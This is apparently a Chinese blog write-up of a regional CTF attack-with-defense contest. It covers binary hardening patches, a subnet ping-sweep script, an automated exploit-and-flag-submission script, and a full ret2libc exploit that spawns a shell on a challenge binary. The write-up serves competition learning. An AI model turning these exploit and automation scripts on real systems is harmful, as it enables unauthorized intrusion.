前言 这次打区赛因为决赛是 AWD,所以特地研究了一下 AWD 的 PWN。
准备了五天的时间,结果准备的东西一点都没用上。。。
去做了三个小时的牢,全靠队友发力了。
不过没想到这次比赛的最大得分点竟然是 ssh 爆破。
加固时主办方提醒了两次,结果还是只有5个队修改了 ssh 默认密码。
再加上过了加固时间不能重置环境,最后一个 ssh 爆破横扫天下,气的主办方吐槽进了决赛还不知道修改默认密码。
最后 PWN 0解。。。
比赛流程 AWD平台功能接口
通过脚本进行批量交flag,平台会提供提交 flag 接口。
线程不要调太大,要不然容易被裁判警告。
就是谁攻击了谁这种,纯好看而已。。。
写个扫描脚本或者用工具都行。
快速定位题目服务
直接nc
连接查看。
netstat -anp
命令分析题目端口。
运维Gamebox
各个队伍以CTF用户登陆
通过 ssh 登陆
修改默认密码
题目在Gamebox中的部署方式 两种方式。
xinetd
socat
socat tcp-l:9999,fork exec:./pwn,reuseaddr
常见路径 pwn程序常见存放路径:
/...
/vuln/...
/home/...
/home/ctf/...
工作流程
运维
攻击
在找到漏洞,修补完成的基础上,要尽量攻击别人才能得分
要求现场快速根据漏洞写成利用程序,读取对手 flag
攻击需要自动化,同时攻击多个对手,攻击成功要自动提交 flag 获得分数
攻击流程
连接服务器
利用工具将程序复制到本地
本地分析程序,找到漏洞,写 exp 打
防御
比赛的时候用 MobaXterm 拉文件速度太慢,最后使用 scp 成功将文件拉了下来。
1 2 3 4 # 下载文件到本地 scp username@remotehost:/ctf/pwn ./# 上传文件到远程 scp demo.txt username@remotehost:/ctf/
加固 一般 AWD 是没有源码的,如果有源码的话只需要分析代码漏洞然后修改代码之后通过 gcc 编译就行了。这只需要熟悉 gcc 的一些命令参数。
在没有源代码的情况下就需要通过一些工具来进行 patch 了,比如 ida,以及一些师傅编写好的工具脚本。
首先明确比赛规则,加固是禁止上通防的。
但是也得看主办方的 check 严不严。。。
这里主要用到以下工具:
整数溢出 这个结合实际情况用 ida keypatch 修改就行了。
汇编指令
描述
JA
无符号大于则跳转
JNA
无符号不大于则跳转
JAE
无符号大于等于则跳转(同JNB)
JNAE
无符号不大于等于则跳转(同JB)
JB
无符号小于则跳转
JNB
无符号不小于则跳转
JBE
无符号小于等于则跳转(同JNA)
JBNE
无符号不小于等于则跳转(同JA)
汇编指令
描述
JG
有符号大于则跳转
JNG
有符号不大于则跳转
JGE
有符号大于等于则跳转(同JNL)
JNGE
有符号不大于等于则跳转(同JL)
JL
有符号小于则跳转
JNL
有符号不小于则跳转
JLE
有符号小于等于则跳转(同JNG)
JNLE
有符号不小于等于则跳转(同JG)
栈溢出
这类函数比较好改,直接改输入参数大小就行。
将call gets
地址替换为jmp .eh_frame
地址,然后在.eh_frame
中填充汇编代码。
我们可以通过AWDPwnPatcher
脚本来实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from AwdPwnPatcher import *import sys binary = sys.argv[1 ] call_gets=int (sys.argv[2 ],16 ) next_addr=int (sys.argv[3 ],16 ) awd_pwn_patcher = AwdPwnPatcher(binary) jmp_address=awd_pwn_patcher.eh_frame_addr assembly = """ jmp {} """ .format (hex (jmp_address)) awd_pwn_patcher.patch_by_jmp(call_gets, jmp_to=jmp_address, assembly=assembly) assembly = """ mov esi,edi mov edi,0 mov edx,4h xor eax,eax int 80h jmp {} """ .format (hex (next_addr)) awd_pwn_patcher.add_patch_in_ehframe(assembly=assembly) awd_pwn_patcher.save()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from AwdPwnPatcher import *import sys binary = sys.argv[1 ] call_gets=int (sys.argv[2 ],16 ) next_addr=int (sys.argv[3 ],16 ) awd_pwn_patcher = AwdPwnPatcher(binary) jmp_address=awd_pwn_patcher.eh_frame_addr assembly = """ jmp {} """ .format (hex (jmp_address)) awd_pwn_patcher.patch_by_jmp(call_gets, jmp_to=jmp_address, assembly=assembly) assembly = """ mov rsi,rdi mov rdi,0 mov rdx,4h xor rax,rax syscall jmp {} """ .format (hex (next_addr)) awd_pwn_patcher.add_patch_in_ehframe(assembly=assembly) awd_pwn_patcher.save()
最后我们需要修改标志位从而给.eh_frame
段可执行权限。
将Type
和flags
修改为 1 和 7。
通过 ida 将格式化字符串%s
替换为%d
。
格式化字符串 通过AwdPwnPatcher
脚本进行加固。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from AwdPwnPatcher import *import sys binary = sys.argv[1 ] call_printf = int (sys.argv[2 ],16 )print (hex (call_printf)) awd_pwn_patcher = AwdPwnPatcher(binary) awd_pwn_patcher.patch_fmt_by_call(call_printf) awd_pwn_patcher.save()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from AwdPwnPatcher import * binary = sys.argv[1 ] mov_eax = int (sys.argv[2 ],16 ) call_printf = int (sys.argv[3 ],16 ) awd_pwn_patcher = AwdPwnPatcher(binary) fmt_offset = awd_pwn_patcher.add_constant_in_ehframe("%s\\x00\\x00" ) assembly = """ mov rsi, qword ptr [rbp-0x8] lea rdi, qword ptr [{}] """ .format (hex (fmt_offset)) awd_pwn_patcher.patch_by_jmp(mov_eax, jmp_to=call_printf, assembly=assembly) awd_pwn_patcher.save()
UAF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from AwdPwnPatcher import * binary = sys.argv[1 ] call_free = int (sys.argv[2 ],16 ) next_addr = int (sys.argv[3 ],16 ) awd_pwn_patcher = AwdPwnPatcher(binary) assembly = """ add esp, 0x10 mov eax, 0 mov edx, dword ptr [ebp - 0x20] mov eax, 0x804a060 lea eax, dword ptr [eax + edx*4] mov dword ptr [eax], 0 """ awd_pwn_patcher.patch_by_jmp(call_free, jmp_to=next_addr, assembly=assembly) awd_pwn_patcher.save()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from AwdPwnPatcher import * binary = sys.argv[1 ] call_free = int (sys.argv[2 ],16 ) next_addr = int (sys.argv[3 ],16 ) awd_pwn_patcher = AwdPwnPatcher(binary) assembly = """ mov eax, 0 mov eax, dword ptr [rbp - 0x1c] cdqe lea rdx, qword ptr [0x201040] lea rax, qword ptr [rdx + rax*8] mov qword ptr [rax], 0 """ awd_pwn_patcher.patch_by_jmp(call_free, jmp_to=next_addr, assembly=assembly) awd_pwn_patcher.save()
evilPatcher 通过 evilPatcher 工具我们可以加沙箱进行通防。
1 python3 evilPatcher.py file_name sandboxfile
白名单
1 2 3 4 5 A = sys_number A != exit ? dead : next return ALLOW dead: return KILL
pwn_waf pwn_waf有多个功能,比如捕获模式的流量监控、防御模式的防止获取shell。
不过防御模式风险太大,我是不敢用的。。。
所以这里就只讲一下流量监控,我们可以在/tmp/
目录下创建一个.waf
文件夹并赋予权限可读可写可执行权限。
然后修改makefile
文件中的log path
为该文件夹路径,make
编译后将pwn
文件和编译生成的catch
放到创建的文件夹中,再用catch
替换掉pwn
文件然后部署,此时exp
打用catch
替换的pwn
文件即可在创建的文件夹中接收到流量。
这样我们就可以通过抄流量来进行反打了。
攻击 比赛还是要靠攻击来得分的,说白了还是要看能不能解出题。
在没给出对手目标 IP 的情况下我们需要进行扫描。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import osimport threadingfrom concurrent.futures import ThreadPoolExecutor li = lambda x: print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x: print ('\x1b[01;38;5;2m' + x + '\x1b[0m' )def check_ip (i ): ip = f'192.168.74.{i} ' try : response = os.system(f"ping -c 1 -w 1 {ip} > /dev/null 2>&1" ) if response == 0 : li(f'[+] {ip} 存活' ) return ip except Exception as e: ll(f'[-] {ip} 扫描出错: {str (e)} ' ) return None def save_hosts (ip_list ): try : with open ('hosts.txt' , 'a+' ) as f: for ip in ip_list: if ip: f.write(f'{ip} \n' ) except Exception as e: ll(f'[-] 保存文件失败: {str (e)} ' )def main (): os.system("rm ./hosts.txt" ) NUM_THREADS = 250 alive_ips = [] with ThreadPoolExecutor(max_workers=NUM_THREADS) as executor: results = executor.map (check_ip, range (1 , 256 )) for result in results: if result: alive_ips.append(result) save_hosts(alive_ips) ll("[+] IP 扫描完成" ) main()
然后就是正常的打 pwn 流程,不过一个一个打的情况下效率会很低。所以我们可以写一个自动cat flag
然后自动提交的脚本。
攻击的时候注意 Gamebox 的 libc 版本和本地调试时一致,否则 exp 可能打不通。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsfrom pwn import *import threadingimport timeimport osimport json context.log_level="debug" ip = "192-168-1-208.pvp5604.bugku.cn" flag_file = b'./flag' token="b27002959b87fb25f4aa6759e3c91385" port = [8802 ,8806 ] threads = []def exp (): io.recv() io.sendline("123456" ) io.recv() io.sendline(b"%43$p" ) io.recvuntil(b"0x" ) canary=int (io.recvn(8 ),16 ) print (hex (canary)) payload=b"a" *150 +p32(canary)+p32(0 )*3 +p32(0x8048670 )+p32(0 )+p32(0x804A044 ) io.recv() io.sendline(payload) io.sendline(b"cat " +flag_file) flag=io.recvline() flag=flag.strip(b"\n" ) return flagdef submit (flag,token ): api_url="https://ctf.bugku.com/pvp/submit.html?token=[" +token+"]&flag=[" +str (flag)+"]" response = requests.post(api_url) re=response.text print (re)for i in port: io=remote(ip,i) time.sleep(0.3 ) flag=exp() print ("已经获取flag" ,flag) submit(flag,token) io.close()
广西区赛 PWN WP
ldd --version
查看目标系统 libc 版本,发现为 3.35 版本。
系统版本大概为 Ubuntu22,这个版本的系统编译后的程序很多构造ROP链的 gadget 都没了。
最后只找到了这些。。。
1 2 3 0x00000000004012dd : pop rbp ; ret 0x000000000040101a : ret 0x0000000000401373 : ret 0x8b48
那很明显题目的考点可能并不是传统的构造 ROP链。
查保护发现只有 NX 和 PIE 保护。
1 2 3 4 5 6 7 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled
接下来就是看着抽象的伪代码拿 ida 不断的修了。
修完后的
函数窗口发现了一个可疑函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from pwn import *from ctypes import *def dbg (c=0 ): if c: gdb.attach(io, c) else : gdb.attach(io) pause() s = lambda data: io.send(data) sa = lambda text, data: io.sendafter(text, data) sl = lambda data: io.sendline(data) sla = lambda text, data: io.sendlineafter(text, data) r = lambda num=4096 : io.recv(num) ru = lambda text: io.recvuntil(text) pr = lambda num=4096 : print (io.recv(num)) ia = lambda : io.interactive() ic = lambda : io.close() l32 = lambda : u32(io.recvuntil(b'\xf7' )[-4 :].ljust(4 , b'\x00' )) l64 = lambda : u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) uu32 = lambda : u32(io.recv(4 ).ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recv(6 ).ljust(8 , b'\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: io.success('%s -> 0x%x' % (s, num)) elf = ELF('pwn' ) io = process([elf.path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) context(os=elf.os, arch=elf.arch, log_level='debug' ) rand = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' )def add_message (content ): sla('🤗' .encode(), b'1' ) sla('😙' .encode(), content)def show_message (): sla('🤗' .encode(), b'2' )def dele_message (idx ): sla('🤗' .encode(), b'3' ) sla('😥' .encode(), str (idx).encode())def reverse_shuffle (data: list , group_size: int = 0x100 , seed: int = 0x721 ) -> list : def c_srand (seed ): rand.srand(seed) def c_rand (): return rand.rand() def generate_indices (count, seed ): c_srand(seed) indices = [] for i in range (count - 1 , 0 , -1 ): j = c_rand() % (i + 1 ) indices.append((i, j)) return indices groups = data count = len (groups) indices = generate_indices(count, seed) for i, j in reversed (indices): groups[i], groups[j] = groups[j], groups[i] return groups pop_rdi_printf = 0x401579 ret = 0x040101A data = [b'a' * 0xE0 ] * 0x12 + [b'a' * 0x40 + b'\x01' ]input = reverse_shuffle(data + [p64(0x13 ), p64(0xDEADBEEF )] + [p64(ret), p64(pop_rdi_printf), p64(0x404030 ), p64(0x401849 )])for i in input : add_message(i) show_message() libc.address = l64() - libc.sym.printf lg("libc base" ,libc.address) data = [b'a' * 0xE0 ] * 0x12 + [b'a' * 0x40 + b'\x01' ] pop_rdi_ret = libc.address + 0x2A3E5 input = reverse_shuffle( data + [p64(0x13 ), p64(0xDEADBEEF )] + [p64(ret), p64(pop_rdi_ret), p64(next (libc.search(b'/bin/sh\x00' ))), p64(libc.sym.system)] )for i in input : add_message(i) show_message() ia()
后言 感觉这题最大的难度就是在于逆向逻辑。。。
可惜没解出来,挺失落的。。。
不过也有幸认识了很多厉害的师傅。
参考:AWD_PWN | StarrySky 参考:AWDPwn 漏洞加固总结 - FreeBuf网络安全行业门户